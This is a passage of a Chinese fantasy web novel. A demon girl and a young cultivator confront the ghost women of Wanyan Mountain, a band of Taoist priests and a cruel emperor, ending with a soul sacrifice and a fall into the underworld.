那光影与黑衣少年身上淡淡涌动的气流交织, 点点金芒勾缠着红云烈焰。 阿姮微微瞪大眼睛,看清少年略微低垂眼帘,那双眸子黑沉沉的, 像黑水河的水, 透不进一点光, 深邃又幽暗, 阿姮本能地要往后一缩,但他扣住她下颌的指节却敏锐地施加力道, 嘴唇更是一痛, 她无比清晰地感受到他咬住了她的下唇。 阿姮觉得自己像是一只被攫住命脉的猎物,她一时间僵住, 手不由地抓住他后颈, 滚烫的温度透过他的皮肉贴在她的掌心, 阿姮触摸到他因为低头而突起的一块颈骨, 她手指颤了一下, 脑海里不自觉浮现那座昏昧的楼阁,楼中珠帘摇曳,帘后屏风上描绘的男女也跟着生动起来, 她忽然唇焦口燥,忍不住重重吮舐了一口他仍按在她齿关的拇指。 这一瞬,阿姮感觉到他的呼吸乱了一瞬, 随后脊背陡然僵硬,连带着他扣住她下颌的指节也忽然松懈。 阿姮趁此机会,一手撑住他胸膛挣开他的刹那,她指尖暗红的焰光被他胸口无形的气流压灭,她指节又痛又麻,不由拧起眉头:“小神仙,你弄疼我了!” 嘴巴也疼,手指也疼。 程净竹闻言,似乎有一瞬怔忡,随后他立即往后退开,阿姮看他顷刻间与她拉开距离,连二人每一片衣角都泾渭分明,淡淡的金芒萦绕周围,阿姮揉了揉手腕,抬起眼帘,她看过无数次他苍白而冷漠的脸,也熟悉他那双总是波澜不惊的眼,但此刻,他明显有一分慌乱,连苍白的脸都透着一层淡薄的红。 阿姮一瞬觉得新奇极了,她一手撑在彼此之间的“楚河汉界”上,身体前倾凑近,一根手指轻轻擦过他的衣襟,却没敢碰,手掌忽然扣住他后颈,还是那块微微突起的颈骨,还是那么滚烫的温度。 她冰冷的手指贪恋似的,就要顺脊骨往下,程净竹一瞬站起身,阿姮下意识抓住他后领,却使得他左边衣襟被拽开,左边苍白的锁骨若覆雪的山峦一样起伏连绵至肩头,冷白的肤色与水青色的宝珠相映,肩臂往下,流畅的肌肉线条很快没入洁白的,凌乱的衣襟。 阿姮几乎目不转睛,忽然一道白符落在她额头,一时使她的视线变得模糊,她听到少年似乎忍无可忍地低念了声什么,随后便是一阵珠饰碰撞发出的清音。 额头上的白符闪烁莹光,阿姮逐渐觉得自己鼻息间的花香味道减淡,她晃了晃脑袋,摘下白符,只见那少年一身衣饰整齐,那洁白衣襟仿佛从来严整,他那双眼睛深流缓缓,如昔冷漠,只有面庞仍残留一点微微的红。 “小神仙,”阿姮摸着自己的下唇,摸到一点细微的裂口,她几步走近,目光始终盯住他的眼睛,“你方才为什么……咬我?” 程净竹神情微滞,随即错开阿姮直勾勾的目光,道:“抱歉。” “若我猜的不错,你我嗅到的这股花香,应该是璇红用没骨花提炼出的东西,天衣火种在她身上,所以她才能造出如此幻象,人在幻象中会很容易被剥夺意志,而没骨花香则可以催生,放大人的欲望,幻境与没骨花香相辅相成,可瞬息毁人心志,使人筋脉尽断而亡。” 他侧过身,抬眼看向幽暗深处。 阿姮闻言,则立即想到那片艳丽鲜红的花丛,原来那股浓烈到令人头昏脑胀的花香,是没骨花香。 “是因为没骨花香,”阿姮看着他,他唇角沾了些血,那是她从他怀中挣脱时不小心蹭的,“你对我有了血欲,所以才咬我吗?可惜我不是人类,也不是飞禽走兽化成的妖,我没有血。” 程净竹静默了一瞬,抬眼对上她那双妖异的,天真的,暗红的眼睛,他道:“璇红是用人的血肉作为没骨花的花肥,而那些被她当作花肥的人中,好色之徒占多数,所以浓郁的没骨花香,即是他们深邃的欲壑。” 阿姮不太明白什么是好色之徒的欲壑,她面露疑惑,正欲说些什么,却忽然盯住程净竹的额头:“小神仙,你……” 他眉心的红痣不知为何忽然破开一道裂口,像金色的裂纹,鲜血很快涌出,阿姮见他抬起手背,那血珠滑向鼻梁的刹那,被他指节蹭去。 阿姮的目光紧紧跟随他沾血的指节,有点难耐地抿了一下嘴巴,正要朝他靠过去,却忽然发觉脚下不稳,四周不知为何震动起来。 “诸位玄友,快都清醒过来!先破此阵,再灭妖幻!” 这声音浑厚,宛若洪钟,伴随一阵激烈的雷电炸响,穿透重重黑云回荡在众人耳边,阿姮抬眼便见一道雷电砸入漆黑的浓云里来,顷刻,看似无垠的漆黑被撕开一道长长的口子,天地灰蒙蒙的。 雷电不断炸响,阿姮神情渐冷,她本能地感受到这道道雷电对她的威胁,却也不止是对她,她听到了那些鬼女惊慌的惨叫。 “好个天极观主!” 璇红尖刻的嗓音交织在阵阵雷鸣中:“什么天都贵观,剥去你那身道士衣裳,你也不过只是娄玄英的走狗!” 从这道裂口的角度,阿姮看不见璇红,只见原本被雷电击碎转淡的黑气又变得极其浓烈,那些气流不断挤压着,势不可挡地朝那些身着白袍的天极观道士去。 强大的气流破开天极观弟子围成的人墙,露出一白须老道的身影,他双脚稳稳扎开马步,手中持一把金光熠熠的法尺,那法尺所指的上空便是勾缠若漩涡一般的雷电在滋滋作响,显然,这些雷电都是他用他手中的法尺招来的。 在白袍老道的身后,便是被一道光罩护在其中的岐泽皇帝娄玄英,他沉着脸,绷紧下颌,似乎非常紧张。 黑气宛若利箭划破空气,发出锐鸣,那白袍老道以手中法尺来回抵挡,黑气不断与法尺相撞,擦出锵锵之声。 “他手里是什么东西?竟然能招来雷电。”阿姮问程净竹。 她讨厌那个东西散发出的气息。 “应该是天极观祖师的镇观金尺,可驱逐鬼祟,尽诛不详。”程净竹亦在看那白袍老道。 “什么是不详?” 鬼祟她知道,但不详是什么? 程净竹看了她一眼,阿姮点点头,明白过来:“哦,是我啊。” 难怪她看到它的第一眼就想将它折断,踩烂。 那天极观主似乎小瞧了璇红身上的黑气,那浓黑的气流密如尖针,无孔不入,擦过他衣角直奔那光罩而去,天极观主回过头,脸色大变:“不好!快保护陛下!” 天极观众弟子忙急奔上去,却不料光罩顷刻发出碎裂的声音,黑气势如破竹,自四面八方猛然压向娄玄英。 “父皇!” 娄紫芽在坡上的丛中见到这一幕,她立即大喊一声,春梁连忙按住她,迫使她躲回峣雨的阵法之下。 浓黑的气流瞬间将娄玄英整个人包裹,那天极观主扬起金尺要招雷电,又唯恐伤了其中的娄玄英,正是此时,无形无色的强大气流猛然自内而外破开层层黑气,围上来的天极观弟子们没有防备,被这四散开来的气流波及,顷刻震飞一片。 而处在那气流中心的娄玄英,全须全尾,毫发无伤。 璇红不敢置信,她一下从昏黑中显露身形,悬于半空,黑气缠绕在她每一寸衣角,她美目欲裂,嗓音尖刻:“怎么会这样?怎么会这样!” 那天极观主短暂惊愕,又很快明白过来,他立即再捏法诀将娄玄英重新护在光罩中,这才转过身来,冷哼道:“璇红郡主,你不要再执迷不悟了!陛下是天子,自有真龙之气庇佑,鬼祟妖邪,莫能近之!” 阿姮听清这番话,不由将那光罩中的娄玄英再审视了一番,也许是因为天极观主口中的“真龙之气”,他此时明显镇定了许多,又显出他那份高贵的气势来,阿姮却十分不解,不由望向身边的黑衣少年:“那皇帝明明是个人类,算什么真龙?” “真龙天子不过是凡人帝王向天下百姓证明自己受神佛承认的说法而已,事实上他们只是人,所谓真龙之气,其实是上界给予凡间所有登上帝位的凡人的一种庇佑。” 程净竹说道。 阿姮闻言,不由看向半空中的璇红,她似乎气得发抖,那张脸越是惨白,她的唇色越是艳丽,像生啖了人血一样,阿姮忽然道:“真奇怪,他有什么是值得上界给他庇佑的?” 程净竹忽然看了她一眼:“我所说的庇佑,是鬼神不扰,妖邪勿近,这不是上界偏私,而是人间的皇帝关系到一个国家的稳定,他本身没有任何特别,特别的只是那个位置,任何人都可以造他的反,任何国家都可以与他开战,不过都是凡间滚滚向前的洪流,上界从不干预,但妖邪鬼祟却不一样,他们靠近一个皇帝,杀死一个皇帝,可以轻易挑起任何争端,搅乱整个天下,干扰人间洪流的走向。” 阿姮明显一副不懂他在说些什么的模样,程净竹也不再多做解释,他透过那道裂口,看见璇红发了疯似的操控一道道黑色的气流砸向那娄玄英,他抬手结印,金芒若缕,落去璇红后背,却顷刻被她周身涌动的黑云打散。 程净竹神情变得有些凝重,火种已紧紧附着璇红的三魂七魄,若非她自愿,绝不能拔除。 那天极观主操控金尺,引得雷电愈烈,道道砸在地面,灼出一片焦土,那道被莹白的法阵压在底下的金光阵借雷电之势,阵法快速转动,僧道念经的声音不断敲击着阿姮与鬼女们的耳膜。 阿姮被这念经声震得头痛,她周身红云大涨,迅速奔出裂缝,也是此时,清脆的碎裂声响起,阿姮出了幻境仰头一望,只见那莹白的光阵破碎成点点磷火,幽幽浮浮。 照雪坡上,峣雨被金光阵击中,震飞出去。 “国主!” 春梁失声大喊。 璇红猛地回头,周身的黑气减淡许多,她看见峣雨一手捂着胸口,身躯时浓时淡。 峣雨一双眼睛遥遥望向远处,无穷无尽的雷电几乎将这片山野变为焦土,她看到远处滚滚的浓烟向上,充斥着那片天空。 璇红也看到那片浓烟里交织的火光。 那是……行宫的方向。 那园子里本有一棵高大的,繁茂的树,那是峣雨苦修几十载辛苦种出来的,她将修行得来的一切都倾注在那棵树上,让它长大,让它枝繁叶茂,让它赐予园中女子所有的青春,永远地保护她们。 但这所有的一切,都因那连天的浓烟与烈火顷刻间付之一炬了。 霖娘挣脱幻境出来,她一眼看见阿姮与那黑衣少年,她立即要往那边去,却忽然听见鬼女们凄哀的呜鸣。 阿姮也听见她们的哀鸣,她最先看到近处的晴芸,满头珠翠不复,她乌黑的头发变得蓬乱极了,美丽的面容像是被抽干了所有的生气,变得惨若金纸,颊边倏尔裂开一道血红的口子,紧接着又是交叉一道,很快,狰狞的伤口布满她整张脸,她的颈侧是凹凸不平的一道烙铁烫出的印痕,似乎有一个伤疤增生虬结而成的字,但阿姮不认得那是什么字,她只见晴芸惊恐地去捂自己的脸,又慌忙用手掌紧紧地盖住自己颈侧的烫疤。 她看起来手足无措,不知自己到底该遮哪里,发红的眼眶中不断跌下泪来,尖利的指甲恨不得生生刮下那片皮肉来,可她已经没有血肉身躯了,根本什么也刮不下来。 这些鬼女们被生生在人前扒开她们所有光鲜亮丽的假象,显露她们生前最后定格的模样,她们惨白,瘦弱,蓬头垢面,遍体鳞伤。 她们与晴芸一样,颈侧都有一个烫疤。 就连照雪坡上的春梁,也露出惨白的真容,颈项中一道乌紫的勒痕,她流着泪,顾不得那娄紫芽,连忙跑到峣雨身边:“国主,国主……” “想不到小小鬼女,竟然能在几十载之内结成一颗内丹?”那天极观主掐指一算,这才发现自己手中金尺招来的天雷击毁了什么,他满脸惊异地看着照雪坡上那衣衫墨蓝的女子。 峣雨算是这些鬼女中形容最为完好的一个,只不过脸色更为惨白,她原本光滑的颈侧也出现一道烙铁的痕迹,她垂眸,凝视那个“妓”字。 “难怪她的法阵如此厉害!” 那衣衫破烂的白胡子老道抹了一把脑门上的冷汗,方才破了阵,他此时精神大振,立即招呼左右玄友:“诸位!咱们一道,收了这些鬼物!” 璇红立即回神,眉目之间狠戾非常,周身黑云涌动,压向四方。 天极观弟子与其他一众僧道心拧一股绳,各自掐起法诀,同召出一道金光大阵与那漆黑的气流相抗。 正是此时,那天极观主手中金尺一扬,空中雷电震响,以万钧之势压向峣雨,霖娘瞳孔紧缩:“峣雨国主!春梁!” 她几步要往前奔去,却见阿姮与那黑衣少年忽然同时动了,二人足尖点地,腾空而起,却擦过彼此身侧,阿姮身化红云瞬息落去照雪坡上,天雷“砰”的一声砸下来,暗红的云雾扑散开来,峣雨后知后觉地仰起头,只见半空中,红云幽幽浮动,而雷电已然消弥。 红云在她眼前凝成少女模样,落在她身边,垂下暗红的眼睛凝视她。 峣雨看着她髻边微微晃动的珍珠流苏。 此时,程净竹飞身掠去那天极观主身前,他手中银白的法绳飞出,顷刻勾住观主金尺,天极观主吃了一惊,他立即一掌打向程净竹胸口,却被程净竹侧身一避,冷风吹起他银灰的鬓发,他翻身一跃,指节用力抽回法绳,金尺立即从那天极观主手中飞了出去。 阿姮侧过脸,身形再度化为红雾,转瞬飞浮而去,红雾缠住那自半空中下坠的金尺,众人只见那金尺滞在那诡秘的雾气里,震动着发出“锵锵”的锐鸣,骤然崩裂成两截,坠落在地。 “金尺……我的金尺!” 那天极观主不敢置信地瞪大双眼。 红雾凝成女子的身形,阿姮双足落在地上,她手中握着那焦黑的万木春,低头看了眼地上那断成两截的金尺,它已经失去了最初的熠熠华光。 阿姮的白符早不知道丢哪里去了,一时间,所有道士藏在怀中护身的师刀都疯狂地震动起来,那些天极观弟子的罗盘更是胡乱地转动。 “是妖!” “天啊这是什么妖邪,我耳朵都要被师刀震烂了!” 僧道们惊慌的声音交杂。 天地昏黑,冷风猎猎。 阿姮脚尖轻轻踢了一下地上那断掉的金尺,她抬起脸,看向那手持银白法绳立在不远处的少年,笑着说: “这东西好像也不怎么样啊。”《 》 30-35 第31章 第31章 “我不走,他也不走。”…… 空中雷电交织而成的巨大漩涡顷刻消失了, 一时间这照雪坡上风雾更加浑浊,程净竹瞥了一眼阿姮脚边断裂的金尺,见天极观主如临大敌似的掏出怀中狂响的本命师刀便要掐诀结印,他淡色的唇轻启:“观主, 最好别惹她。” 天极观主脸色一沉, 他这一生也算见过诸般妖魔, 但没有哪一个能够逃得了这天极观祖师亲传下来的金尺所引的天雷。 天雷是一切妖魔鬼怪的大劫。 天都繁华,不但是凡人挤破头想去的地方,也是那些贪婪成性的妖魔流连忘返之地, 金尺乃是祖师遗物, 天极观主不到万不得已绝不轻易请出, 再难缠的妖魔, 只要身受金尺所降下的天雷,必会被打出原形。 可金尺竟然断了……还是被这妖邪轻易折断! 天极观主双指结印点于双目, 只见那红衣女子身上红雾缭绕, 一副身躯隐隐闪动粼粼水泽,却又不像水鬼, 细看之下, 也不太像是水妖。 天极观主一度觉得自己的法眼失效, 可他转过脸, 看向她身边那披着皂纱的女子在他的法眼之中全然显露一副透明的水相, 显然是个水鬼! “她分明是个妖物,你这上清紫霄宫的弟子,竟然拦我?”天极观主看向那黑衣少年横在他面前的银白法绳, 神情肃冷。 程净竹抬眸对上他的审视,随手将法绳收回,言辞平淡:“观主不要误会, 我的意思是,你打不过她。” 少年惜字如金,天极观主却听出他弦外之音,显然这不过只是他的一句提醒,若观主真要跑上去为祖师的金尺报仇,必然不会有好果子吃。 天极观主倒也并未被少年这直白的意思惹怒,心中也明白他所言应该不假,毕竟,那女妖连他天极观祖师的金尺都轻易折断了。 一山鬼物未除,如今又有如此妖邪现身,僧道们不禁神情凝重,那岐泽皇帝娄玄英在光罩中见天极观主迟迟不动,他不由沉声喊道:“虚存!你难道就这些本事?朕奉你为国师,还将紫芽托付于你做徒儿,你莫非要眼看着朕,看着紫芽为鬼怪所害?” 天极观主还未来得及有所反应,只觉风雾忽然更浓更浊,原是那半空中的璇红回过神来,她听到娄玄英的声音,刺激得她浑身浓黑的气流大涨,没有了天雷的阻碍,浊黑的气流瞬息将这片天地吞噬。 “众弟子听令!结阵!” 天极观主迅速反应过来,大喝一声,天极观弟子虽已无法看清彼此,却凭着默契同时动作,找准位置,扎开马步,画符念咒,瞬间飞出金光道道,盘旋于上空结成一个巨大的金光法阵。 “诛妖伏鬼大阵!” 那游方的白胡子老道立即认出那符文繁复的阵法,立即招呼周围僧道:“来来来!诸位玄友,快随我助天极观一臂之力!” 阿姮也认出这阵法,在不枯谷中那三个女冠也用过,只是那三名女冠势单力薄,远不如此时这阵法声势滔天。 霖娘身负元真夫人的法宝这回也依旧没感到什么不适,但见阿姮脸色难看,她立即上去抓住阿姮的手,正要说些什么,却见被道道金光撑开的浓黑气流深处,金色的符文率先从转动的阵法中压向内丹损毁,气若游丝的峣雨。 春梁扑了上去。 电光火石,霖娘猛然捡起地上一截断掉的金尺,奋力扔出去,水波推着金尺穿过重重雾气疾驰而去,恰与金色的符文相撞,电光滋滋闪烁,金芒顿时消弭。 阿姮晃了一下发疼的脑袋,一眼瞥见霖娘那只握过金尺的手,金尺虽已断裂,却仍残存一些锐气,霖娘的手掌被烧得黑乎乎的,止不住地发抖。 阿姮拧了一下眉:“你不要命了?” 霖娘痛得厉害,鬓发浸出水泽,她哆嗦着唇:“我,我不知道这么烫啊……” 春梁用身躯紧紧笼罩峣雨,她抬起头,见那些僧道们似乎都以一双严肃的眼睛冷冷睨着她与峣雨,他们似乎都将峣雨作为扭转局势的一个突破口,卯足了力气要先打她个魂飞魄散,春梁眼睑泪滴若雨,她忍不住喊道:“国主她……她明明从来没有害过人!你们为什么非要赶尽杀绝?你们佛门,道门,不是都讲慈悲的吗?你们这些僧道的慈悲到底在哪里?” 那白胡子老道闻言,不由看了一眼紧紧护住峣雨的那个年轻女子,看起来像是被勒死的,年纪很轻。 “没害过人?” 一灰布道袍的中年道士冷声道:“我几个师弟就是在这山上失踪的!你竟还敢说你们没害过人?这照雪坡上的没骨花浸着多少人的血,吃了多少人的肉?” 程净竹闻声望去,认出那中年道士似乎正是之前被净空和尚诓来一道藏在山林中预备对阿姮动手的人。 他那一帮师弟,现今的确一个都不在他身边。 “峣雨,看看你的一颗善心换来什么?” 半空中,璇红周身黑焰翻腾,她轻蔑地凝视那道越来越趋于透明的身影,嘲笑道:“男人都是下贱的东西,根本不值得你对他们容情!” 璇红身负火种,她强烈的恨,无尽的怨助长着火种的气焰更加嚣张,跳跃的黑焰勾缠在璇红的耳边,似乎在对她低语。 阿姮竟然听懂那风音,它重复着璇红生前死后所有的遭遇,所有的屈辱,那风音刺激着璇红双目赤红,喉咙中发出痛苦的声音,黑色的气流道道下压,犹如流矢擦过凛风发出尖锐的鸣叫,密如织网地压向众僧道结成的金光大阵。 阵法疯狂转动,天极观主意沉丹田,强撑住结印的手,纹丝不动:“诸位,千万撑住!” 璇红显然没有放过在场任何人的打算,程净竹侧身躲过袭向他的道道气流,见阿姮受阵法影响,身上凶煞的红云烈焰如簇,他立即抛出法绳,法绳若银蛇一般游弋在阿姮周围,阿姮觉得自己头痛减缓许多,身体却无法动弹,她抬起暗红的眸,越过霖娘,凝视他:“你绑我?” “不要受璇红的影响,”程净竹并不入阵,所以不在阵法的庇护之中,他一面避开道道炸开在地面的黑气,一面说道,“那是她的情感,不是你的。” 阿姮暗红的眼微微凝滞。 “小友,你不入阵,是铁了心与这些鬼怪邪祟为伍么!”那白胡子老道沉声质问,“你上清紫霄宫便是如此做派吗?!” 程净竹穿行于浓黑的风雾中,他的声音冷漠而沉静:“天生万物,各有缘法,上清紫霄宫只除恶,不求同。” 那白胡子老道一怔,他偏过头,却只在这浑浊的风雾中看见那少年一片缥缈的衣角:“你的意思是……她们杀了那么多人,却还不够恶?” 他没有听到少年的回音,因为诛妖伏鬼大阵此时将成,转动的金光阵法中发出一阵锵然鸣叫,那声音几乎震天,转瞬之间,阵法中凝出千万金剑,剑锋闪动冽冽光泽,竟将这片浑浊之地照得微白。 “杀!” 天极观主额头豆大的汗珠落下,高声大喝。 “杀!” 天极观弟子齐声大喊。 其他僧道也被这气势所染,众人精神一振,也嘶声喊道: “杀!” 众人声势震天,万千金剑如雨。 春梁紧紧护住峣雨,闭起眼睛却迟迟没等到任何预料中的结果,她后知后觉地睁开眼睛,扬起脸,只见霖娘不知何时站在她们身边,她双手撑开一片水障,苦苦抵挡着落下的金剑,春梁为她梳好的发髻已经被不断浸出的水泽给湿透了,显得很凌乱,她头上披着的皂纱也掉了,露出她长着细鳞的额头。 鳞片闪闪发光,春梁盯着看,眼眶很快湿润。 这片天地仿佛顷刻静止了,万千金剑悬空凝滞,黑色的气流中尽是弥漫的红雾,天极观主脸色一僵,只见那红衣妖女身上的法绳不知何时又落回了那少年修士手中,法绳游弋,勾连出一道阵法,正与诛妖伏鬼阵相抗。 红雾无孔不入,纠缠在一柄柄金剑周围,金剑震动着,一时间陷入僵局。 但这上千僧道所结的大阵并不是那么容易对付的,何况他们如此齐心,程净竹鬓边有了些细微的汗珠,阿姮的脸色也有些难看,那天极观主见此,一声厉喝:“压!” 巨大的金光法阵猛然下压,万千金剑剑锋顿时下落两寸。 两方以悬殊之势角力。 璇红操控黑气不断地撞击金阵,但金阵乃众僧道的决心所结,竟然坚若磐石,一时不好破,眼看金阵再度下压,这时,坡上数道金光掠来,却入程净竹的阵中。 坡上风烟弥漫,那灰布衣衫的中年道士正满头大汗,见此不由破口大骂:“又是谁他娘的……” 他的声音戛然而止。 紧接着,他一双眼睛不由瞪圆:“师弟?师弟们?” 坡上有几个道士都是灰布道袍打扮,只是像是在血水里蹚过,血红血红的,他们正是此前被璇红扔进洞里的那几个。 最年轻的小道士循着声音果然望见师兄,他惊喜地喊:“师兄!是我们!” “你们没死?!” 中年道士不敢置信。 “师兄,我们都活着!是峣雨国主救的我们!” 几个师弟应声。 “……什么?”中年道士愣了。 而那白胡子老道看到坡上那百来个人中,有个年约五十来岁,头发蓬乱,胡子拉碴的道士,若不是在阵中结印,白胡子老道甚至想擦擦眼睛:“无晦子师弟?” 那道士转过脸来,看见他:“师兄。” 非只他们,其他僧道也在其中看到了自己的师兄弟,而这些师兄弟便是他们定要来此除魔卫道的意义。 为枉死万艳山的师兄弟报仇,为人间除恶,还百姓安宁,僧者,道者,皆出一心。 “师弟,这……这是怎么一回事?” 那白胡子老道问道。 那无晦子叹了口气,看向被霖娘与春梁护住的峣雨:“我当初听闻此地有鬼祟为恶,前来驱鬼,奈何我一力不敌,身受重伤,险被璇红郡主所杀,幸得峣雨国主相救,藏我于隐秘之处,为我治伤。” “哈哈哈哈哈哈哈……”半空中,璇红忽然大笑,“峣雨,想不到在我眼皮底下,还能被你藏住这么多的漏网之鱼?你那些道术,阵法,便是这无晦子教你的吧?” 峣雨反应很迟钝,她的身躯越发透明,她也越发听不清声音,但她抬起头,看了一眼无晦子。 “国主!” “国主!” 远处,纷乱的,慌张的女声传来,峣雨望去,只见园中的姐妹们都朝这边奔了过来,没有了那棵用她的内丹化成的树,她们恢复了生前最后的模样。 老的老,小的小。 形容惨白。 无晦子对那白胡子老道说:“师兄,峣雨国主从未害人,她是一个苦命的女子,这些女子,也都是苦命的女子。” “就算她们有些人手上不干净,可是谁将她们逼成这样的呢?”无晦子视线扫过众僧道,“她们害命,便该偿命,那害她们命的人,难道就不该偿命?我们都是修行之人,以除魔卫道为任,而道该正,不能偏。” 众僧道一时间神情凝滞。 那歧泽皇帝娄玄英见此,不由大斥:“你休要在此妖言惑众!朕是一国之主,朕当初如此决断,都是为了稳定人心!她们跟随冯寅的叛军日久,既能为了偷生而委身贼人,又与叛贼何异?她们不死,人心何安?朝中臣子,一国百姓,谁会信她们没有异心?” “你真奇怪,明明是你不信,又扯什么臣子百姓?” 阿姮轻飘飘地瞥去一眼,那是个身负上界庇佑的皇帝,但阿姮将他上下看了又看,实在不觉得他有什么好的,又老又丑,嘴也臭。 娄玄英对上阿姮那双暗红的眼,他心中一滞。 “虚存!” 娄玄英眼见金阵减淡,他立即大唤那天极观主。 诛妖伏鬼大阵是极厉害的阵法,佛道两家皆修此法,然而阵法最为依赖结阵之人的本心,若本心至坚,则阵法至强,若本心动摇,则阵法必弱。 峣雨有些看不太清那光罩中的皇帝娄玄英,她听到阿姮的声音,苍白的唇微微弯了弯:“璇红,去吧。” 她虚弱的呢喃从风中传去璇红耳边,璇红被无尽怨恨浸透的眼透过重重黑气向下看,峣雨仍是那副她最讨厌的模样,不怒,不怨,静若江海。 可突然之间,璇红见她化为莹白的光,冲向丛中。 娄紫芽双手被缚,正跪坐在丛中,莹白的光猛然冲来,钻入她体内,她瞪大双眼,身体很快不受控制地站起来,冲下照雪坡。 这一切都发生得太快,那些心生犹疑的僧道们还没反应过来,娄紫芽便穿过重重浊雾,直逼一众天极观弟子身后的娄玄英! 娄紫芽臂上忽然划出一道血口子,鲜血涌出的刹那,莹白的光从她体内钻出,浸满那血气的刹那,莹白的光铺开一道明亮的阵法。 流光四溢,陡然破开天极观弟子的人墙。 璇红又听到那道柔和的声音对她说,去吧,底下晴芸等人扑了过去,与那些天极观弟子缠斗起来。 璇红眼睑颤动,整个身躯猛然落下去,火种从她身躯内迸发出强大的气流,将天极观主虚存给震飞出去。 莹白的光阵先黑气一步收拢,击碎天极观主设下的光罩,那岐泽皇帝娄玄英身上顿时散出熠熠金光,与莹白的光阵相触的刹那,金光流散。 娄玄英面露惊恐,他眼睁睁地看着黑气若利箭般涌来,紧接着他胸口剧痛,他后知后觉地低下头,看到胸口被黑气贯穿的血洞。 他眼睛瞪大,血丝浮出,不敢置信。 “哈哈哈哈哈哈哈哈哈哈……” 璇红满手都是他鲜红的血,她那张苍白的,枯瘦的面容迸发出喜悦的神情,她忍不住大笑起来。 “你不是说,他有帝王气吗?”阿姮嗅到那楼玄英的血气,实在腥臭。 这一刻,众僧道所结的诛妖伏鬼阵顷刻消散,万千金剑化于无形,程净竹收了法阵,看向娄玄英:“他有帝王气,他的儿女同样身负帝王气,峣雨借娄紫芽的血,以自身魂魄为代价,结出七杀阵,以帝王气——杀帝王气。” 天下僧道修行,皆以术法为要,阵法为本,而阵法比术法要更难参悟,术法若学得好,到底只是自身之能,阵法若学得好,却可尽借天地之势。 天有十四主星,中有七杀星主肃杀,非心性至坚至惠之人而不能结成七杀之阵,若能结成此阵,则可借来这股杀伐之势。 而古往今来,多少命宫七杀之将,多出造反枭雄。 峣雨非但是借娄紫芽的帝王气,还借来七杀枭雄的反心,成其大势,一举搏杀娄玄英的帝王气。 “父皇……” 楼紫芽整个人定在那里,她眼睁睁地看着娄玄英倒下去,血汩汩地淌出来,而那璇红则张狂地笑着,赤足踩着他的血,转起圈来。 她鲜红的衣角被风吹起。 直到一缕微弱的,莹白的光擦过她的衣袖,升入半空,慢慢流散,她的笑容忽然凝滞,眼睫颤了几下:“峣雨,你去哪儿?” 无尽的风烟之中,莹白的光微微闪烁,所有的鬼女们都仰起脸。 “一切孽债,由人始,由我终。” 风中,那道女声柔和极了:“诸位法师,诸位道长,请怜惜她们草芥身,浮萍命,给她们去往阴司投胎转生的机会。” “峣雨!” 璇红周身黑气弥散,她尖锐地叫喊:“你去哪儿!” 晴芸与一众鬼女皆泪水涟涟,不由追逐起那道飞浮的白光,连声喊:“国主!国主!” “璇红。” 柔和的莹光中,峣雨轻轻的叹息着:“我们的仇已经了了,你放下吧,怨恨只会让你无休止地痛苦,我希望你们都不要再痛苦,因为这从来都不是我们的错,去阴司吧,去投胎转生,忘记一切。” 阿姮怔怔地望着那些鬼女,她们哭着喊着,追逐着那一缕随风而动,越来越淡的莹光,好一会儿,她才想起来问:“以魂魄为代价……是死的意思吗?” “她已经死了,不会再死一次。” 程净竹顿了一下,道:“魂消魄散,意思是,天上地下,她会永远消失。” 没有投胎转生,不能重头再来。 鬼女们撕心裂肺的哭喊响彻每一个人的耳边,那灵明小和尚不由眼睑发红,落下泪来,而阿姮望着那一缕淡光,她听着那些凄哀的哭叫,忽然伸手摸向自己髻边,她摸到那只三尾偏凤,珍珠流苏在她鬓边晃动。 她忽然觉得胸口不知为什么有些堵,像被塞进去一块很大的石头,不断地挤压着她的胸腔,她暗红的眼睛眨动一下:“永远……消失?” 地面忽然剧烈震动,众人还没来得及反应之际,地上裂口蜿蜒,一时间飞沙走石,天地昏暗。 裂口不断扩大,露出深邃的缝隙,鬼女们毫无防备地跌落下去,深渊中铁索飞出,十分精准地缠住璇红,将她一把拉下去。 春梁掉下去,霖娘连忙拉住她,可霖娘脚下也裂开缝隙,她尖叫一声,与春梁一同栽下去,阿姮立即飞身前去用万木春勾住霖娘的腰带,她悬在深渊之上,想将霖娘与春梁拉上来,却根本拉拽不动。 渊底巨大的吸力使得她也坠下去,猎猎风中,有人一把拉住她的手,她回过头,只见一道颀秀的影子,他身后,那道裂缝缓缓合上。 阿姮不断往下坠,阴冷的风擦着她的脸颊而过,越到底下,风越阴寒,不知过了多久,她看到前面似乎有光,但她这双眼,此时已经看不出什么颜色来。 双脚终于落到地上,阿姮听到四周不断有重物落地的声音,只见幽暗的光影之间,那些僧道捂着屁股,在地上嗷嗷叫。 他们打眼一看四周,只见一片幽绿的光。 此时,四周石壁突然亮起营营鬼火。 铁链的声音轻响,阿姮抬眼只见不远处,璇红四肢被烧红的铁索束缚,她痛得浑身颤抖,颈侧那块被烫出的字痕尤其明显。 阿姮看她周身,再也不见那黑气的踪影。 “小神仙,这是什么地方?” 阿姮抓起来腿软的霖娘,问身边的程净竹。 “阴司。” 程净竹语气平淡。 “什么?这里是阴司?!”那些意外落下来的十几个僧道们炸了锅。 突然数盏鬼火亮起,幽绿的光影照亮整个石殿,阿姮抬起头,只见数步之遥,一段石阶之上,石柱横梁之间有一道匾额,但她不识字,匾额正下方,摆着一张长案,案后是一张石椅,椅子上坐了一个人。 那人面若青黑,胡须绕腮,一副狰狞威严之相,戴一顶官帽,身穿黑色官袍,腰系金玉蹀躞带,也许是没料到有这么多的人,他愣了一下,随后立即责难起身边的鬼差:“让你开极幽泉的机关收服鬼女,你怎么让这么多活人掉了下来?” 他说着,又觉得有些不对,目光倏尔盯住阿姮,不知为何,他紧紧凝视着阿姮的那张脸,好一会儿才道:“啊,还有个妖。” 那鬼差脸盲伏低身子请罪:“方狳大人,是小的疏忽!” 而此时璇红看清那座上之人的脸,她的脸色立即煞白,眼中怨毒又起:“方狳!是你!” 阿姮看见她周身黑气再度漫溢,但也许是因为杀楼玄英已耗尽她精气,她太过虚弱,以至于火种蚕食干净了她的一切,此时已变得懒洋洋的,再加上那束缚住她,烧得她皮开肉绽的铁索又对鬼有巨大的压制力,所以她一时根本无法挣脱。 “方狳?莫非是阴司四大判官之首的判官方狳?” 有道人惊异出声。 都说阴司之主为阎王,而阎王手底下又有四大判官,其中,曾经的人间悍将方狳死后入阴司,被阎王招为判官,居四大判官之首,辅佐阎王。 “去,将活人都送回阳间。” 那判官方狳命令鬼差道。 